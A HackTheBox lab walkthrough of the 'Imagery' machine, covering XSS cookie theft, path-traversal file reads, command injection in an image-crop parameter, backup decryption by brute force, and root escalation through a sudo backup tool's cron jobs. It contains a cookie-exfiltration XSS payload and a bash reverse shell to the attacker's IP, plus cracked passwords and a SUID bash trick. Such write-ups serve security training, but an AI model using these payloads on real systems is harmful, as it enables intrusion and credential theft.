Imagery

📅 Last Updated: Oct 04, 2025 07:45 | 📄 Size: 18.8 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Medium | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Imagery]
└─$ nmap -sC -sV -Pn 10.129.243.110 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-28 04:21 UTC
Nmap scan report for 10.129.243.110
Host is up (0.34s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 129.56 seconds

Page

**index page

There is a login and register page here, we can create a new account and access to dashboard page From upload page It only accept the files of JPG, PNG, GIF, BMP, TIFF image

We can get the uploaded link /uploads/fb5a5f48-a92d-432f-b16d-98bf6647ef8e_wither_rose.png

Let's try to use burpsuiteto bypass the filiter But it will not worked here, it would not create the file successfully here.

XSS in report_bug

Continue to check the index page, I found there is a url link report Bugfrom the bottom of this page

**/report_bug

I will try to use the basic XSS payload to leak the cookie of admin

<img src=x onerror=\"fetch('http://10.10.14.12/' + btoa(document.cookie))\">

Remember to open your http server, it will take you a few mins to get the cookie

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Imagery]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.243.110 - - [28/Sep/2025 05:06:34] code 404, message File not found
10.129.243.110 - - [28/Sep/2025 05:06:34] "GET /c2Vzc2lvbj0uZUp3OWpiRU9nekFNUlBfRmM0VUVaY3BFUjc0aU1vbExMU1VHeGM2QUVQLU9vcW9kNzkzVDNRbVJkVTk0ekJFY1lMOE00UmxIZUFEcksyWVdjRllxdGVnNTcxUjBFelNXMVJ1cFZhVUM3bzFKdjhhUGVReGhxMkxfcmtIQlRPMmlyVTZjY2FWeWRCOWI0TG9CS3JNdjJ3LmFOakNldy42aDVCeWpvY2pjNzhDTVFYWkpKaUZGYzlGdkE= HTTP/1.1" 404 -
10.129.243.110 - - [28/Sep/2025 05:06:35] code 404, message File not found
10.129.243.110 - - [28/Sep/2025 05:06:35] "GET /c2Vzc2lvbj0uZUp3OWpiRU9nekFNUlBfRmM0VUVaY3BFUjc0aU1vbExMU1VHeGM2QUVQLU9vcW9kNzkzVDNRbVJkVTk0ekJFY1lMOE00UmxIZUFEcksyWVdjRllxdGVnNTcxUjBFelNXMVJ1cFZhVUM3bzFKdjhhUGVReGhxMkxfcmtIQlRPMmlyVTZjY2FWeWRCOWI0TG9CS3JNdjJ3LmFOakNldy42aDVCeWpvY2pjNzhDTVFYWkpKaUZGYzlGdkE= HTTP/1.1" 404 -

Then we can also need to decode this cookie here

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Imagery]
└─$ echo "c2Vzc2lvbj0uZUp3OWpiRU9nekFNUlBfRmM0VUVaY3BFUjc0aU1vbExMU1VHeGM2QUVQLU9vcW9kNzkzVDNRbVJkVTk0ekJFY1lMOE00UmxIZUFEcksyWVdjRllxdGVnNTcxUjBFelNXMVJ1cFZhVUM3bzFKdjhhUGVReGhxMkxfcmtIQlRPMmlyVTZjY2FWeWRCOWI0TG9CS3JNdjJ3LmFOakNldy42aDVCeWpvY2pjNzhDTVFYWkpKaUZGYzlGdkE=" | base64 -d
session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aNjCew.6h5Byjocjc78CMQXZJJiFFc9FvA

When we change the cookie with the admin cookie, we can access to admin panel Also, when we press Download Log, we can access to link

http://10.129.243.110:8000/admin/get_system_log?log_identifier=testuser%40imagery.htb.log

We can try to test the LFI vulnerable here.

http://10.129.243.110:8000/admin/get_system_log?log_identifier=../../../../etc/passwd


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:103:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:104:104::/nonexistent:/usr/sbin/nologin
uuidd:x:105:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:106:107::/nonexistent:/usr/sbin/nologin
tss:x:107:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
web:x:1001:1001::/home/web:/bin/bash
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
snapd-range-524288-root:x:524288:524288::/nonexistent:/usr/bin/false
snap_daemon:x:584788:584788::/nonexistent:/usr/bin/false
mark:x:1002:1002::/home/mark:/bin/bash
_laurel:x:101:988::/var/log/laurel:/bin/false
dhcpcd:x:110:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false

From there we can find web:x:1001:1001::/home/web:/bin/bashseems wired.

Let's continue to check theapp.py

http://10.129.243.110:8000/admin/get_system_log?log_identifier=../app.py

from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc

app_core = Flask(__name__)
app_core.secret_key = os.urandom(24).hex()
app_core.config['SESSION_COOKIE_HTTPONLY'] = False

app_core.register_blueprint(bp_auth)
app_core.register_blueprint(bp_upload)
app_core.register_blueprint(bp_manage)
app_core.register_blueprint(bp_edit)
app_core.register_blueprint(bp_admin)
app_core.register_blueprint(bp_misc)

@app_core.route('/')
def main_dashboard():
    return render_template('index.html')

if __name__ == '__main__':
    current_database_data = _load_data()
    default_collections = ['My Images', 'Unsorted', 'Converted', 'Transformed']
    existing_collection_names_in_database = {g['name'] for g in current_database_data.get('image_collections', [])}
    for collection_to_add in default_collections:
        if collection_to_add not in existing_collection_names_in_database:
            current_database_data.setdefault('image_collections', []).append({'name': collection_to_add})
    _save_data(current_database_data)
    for user_entry in current_database_data.get('users', []):
        user_log_file_path = os.path.join(SYSTEM_LOG_FOLDER, f"{user_entry['username']}.log")
        if not os.path.exists(user_log_file_path):
            with open(user_log_file_path, 'w') as f:
                f.write(f"[{datetime.now().isoformat()}] Log file created for {user_entry['username']}.\n")
    port = int(os.environ.get("PORT", 8000))
    if port in BLOCKED_APP_PORTS:
        print(f"Port {port} is blocked for security reasons. Please choose another port.")
        sys.exit(1)
    app_core.run(debug=False, host='0.0.0.0', port=port)

Then from the source code of api_edit.py

@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
if transform_type == 'crop':
    x = str(params.get('x'))
    y = str(params.get('y'))
    width = str(params.get('width'))
    height = str(params.get('height'))
    command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
    subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

We can find the rce vulnerable from the function apply_visual_transform(),as testuser there is command injection on crop image:

From config.py, we can find the db.json

import os
import ipaddress

DATA_STORE_PATH = 'db.json'
UPLOAD_FOLDER = 'uploads'
SYSTEM_LOG_FOLDER = 'system_logs'

We can try to crack the hash of testuser:iambatman

{
    "users": [
        {
            "username": "admin@imagery.htb",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "isAdmin": true,
            "displayId": "a1b2c3d4",
            "login_attempts": 0,
            "isTestuser": false,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "testuser@imagery.htb",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "isAdmin": false,
            "displayId": "e5f6g7h8",
            "login_attempts": 0,
            "isTestuser": true,
            "failed_login_attempts": 0,
            "locked_until": null
        }
    ]

Then let's login as testuserand upload a picture. Press the Transfrom Image, you can choose the CropOperation We can just use the payload

{"imageId":"99e8ce9b-c67d-4712-bbe8-cedab3e4b751","transformType": "crop",
  "params": {
    "x": 0,
    "y": 0,
    "width": 100,
    "height": "100; bash -c \"bash -i >& /dev/tcp/10.10.14.12/4444 0>&1\" #"
  }
}

Then you can get the shell as web

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Imagery]
└─$ nc -lnvp 4444                                 
listening on [any] 4444 ...
connect to [10.10.14.12] from (UNKNOWN) [10.129.243.110] 33966
bash: cannot set terminal process group (1406): Inappropriate ioctl for device
bash: no job control in this shell
web@Imagery:~/web$ whoami
whoami
web

Switch to mark

We have known there is another valid user mark

web@Imagery:~/web$ ls /home 
mark  web

By simple enumerating the file system, we can find a backup file from /var/backup

web@Imagery:/var/backup$ ls
web_20250806_120723.zip.aes

Let's download it to our local machine and use https://github.com/Nabeelcn25/dpyAesCrypt.py/blob/main/dpyAesCrypt.py to decrypt this file

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Imagery]
└─$ python3 decrypt.py web_20250806_120723.zip.aes /usr/share/wordlists/rockyou.txt 

[🔐] dpyAesCrypt.py – pyAesCrypt Brute Forcer                                                                                                                                   
                                                                                                                                                                                
[🔎] Starting brute-force with 10 threads...
[🔄] Progress: ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0.00% | ETA: 00:00:00 | Tried 0/14344392/home/wither/Templates/htb-labs/Medium/Imagery/decrypt.py:42: DeprecationWarning: inputLength parameter is no longer used, and might be removed in a future version
  pyAesCrypt.decryptStream(fIn, fOut, password.strip(), buffer_size, os.path.getsize(encrypted_file))
[🔄] Progress: ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 0.01% | ETA: 16:07:38 | Tried 830/14344392

[✅] Password found: bestfriends                                                                                                                                                
🔓 Decrypt the file now? (y/n): y
/home/wither/Templates/htb-labs/Medium/Imagery/decrypt.py:142: DeprecationWarning: inputLength parameter is no longer used, and might be removed in a future version
  pyAesCrypt.decryptStream(fIn, fOut, cracked_pw, args.buffer, os.path.getsize(args.file))
[📁] File decrypted successfully as: web_20250806_120723.zip

We successfully get the cracked zip file, and we can get the password hash of mark

{
            "username": "mark@imagery.htb",
            "password": "01c3d2e5bdaf6134cec0a367cf53e535",
            "displayId": "868facaf",
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        },

Get the credit mark:supersmash, then we can use suto switch to mark

Privilege escalation

Firstly, I would check sudo -lfirstly

mark@Imagery:~$ sudo -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol

I would like try to sudo run it and see what is going on

mark@Imagery:~$ sudo /usr/local/bin/charcol

  ░██████  ░██                                                  ░██ 
 ░██   ░░██ ░██                                                  ░██ 
░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██ 
░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██ 
░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██ 
 ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██ 
  ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██ 
                                                                    
                                                                    
                                                                    
Charcol The Backup Suit - Development edition 1.0.0


Charcol is already set up.
To enter the interactive shell, use: charcol shell
To see available commands and flags, use: charcol help

mark@Imagery:~$ sudo /usr/local/bin/charcol help
usage: charcol.py [--quiet] [-R] {shell,help} ...

Charcol: A CLI tool to create encrypted backup zip files.

positional arguments:
  {shell,help}          Available commands
    shell               Enter an interactive Charcol shell.
    help                Show help message for Charcol or a specific command.

options:
  --quiet               Suppress all informational output, showing only
                        warnings and errors.
  -R, --reset-password-to-default
                        Reset application password to default (requires system
                        password verification).

We can reset the password firstly and use the root shell to do something interesting here.

Then let's try to exploit it

mark@Imagery:~$ sudo /usr/local/bin/charcol -R

Attempting to reset Charcol application password to default.
[2025-09-28 06:07:51] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: 

[2025-09-28 06:08:03] [INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.
mark@Imagery:~$ sudo -u root /usr/local/bin/charcol shell

First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode: 
Are you sure you want to use 'no password' mode? (yes/no): yes
[2025-09-28 06:08:30] [INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.

mark@Imagery:~$ sudo charcol shell

  ░██████  ░██                                                  ░██ 
 ░██   ░░██ ░██                                                  ░██ 
░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██ 
░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██ 
░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██ 
 ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██ 
  ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██ 
                                                                    
                                                                    
                                                                    
Charcol The Backup Suit - Development edition 1.0.0

[2025-09-28 06:09:07] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol> auto add --schedule "*/1 * * * *" --command "cat /root/root.txt >> /tmp/flag.txt" --name "TestTimestamp" --log-output /tmp/root.txt
[2025-09-28 06:09:29] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: 

[2025-09-28 06:09:35] [INFO] System password verified successfully.
[2025-09-28 06:09:35] [INFO] Auto job 'TestTimestamp' (ID: d93daf72-7cf6-4c7b-97b5-a679dedae86f) added successfully. The job will run according to schedule.
[2025-09-28 06:09:35] [INFO] Cron line added: */1 * * * * CHARCOL_NON_INTERACTIVE=true cat /root/root.txt >> /tmp/flag.txt >> /tmp/root.txt 2>&1
charcol> 

Then wait for a few mins, you can get the root.txt from /tmp Or you can setsuidof/bin/bash`

auto add --schedule "*/1 * * * *" --command "chmod +s /bin/bash" --name "TestTimestamp"

Then you can get the root shell

mark@Imagery:/home/web/web$ /bin/bash -p
/bin/bash -p
bash-5.2# id
id
uid=1002(mark) gid=1002(mark) euid=0(root) egid=0(root) groups=0(root),1002(mark)

Description

In general, for the foothold exploitation part, the initial upload vulnerability turned out to be a rabbit hole, and the XSS vulnerability used was also expected.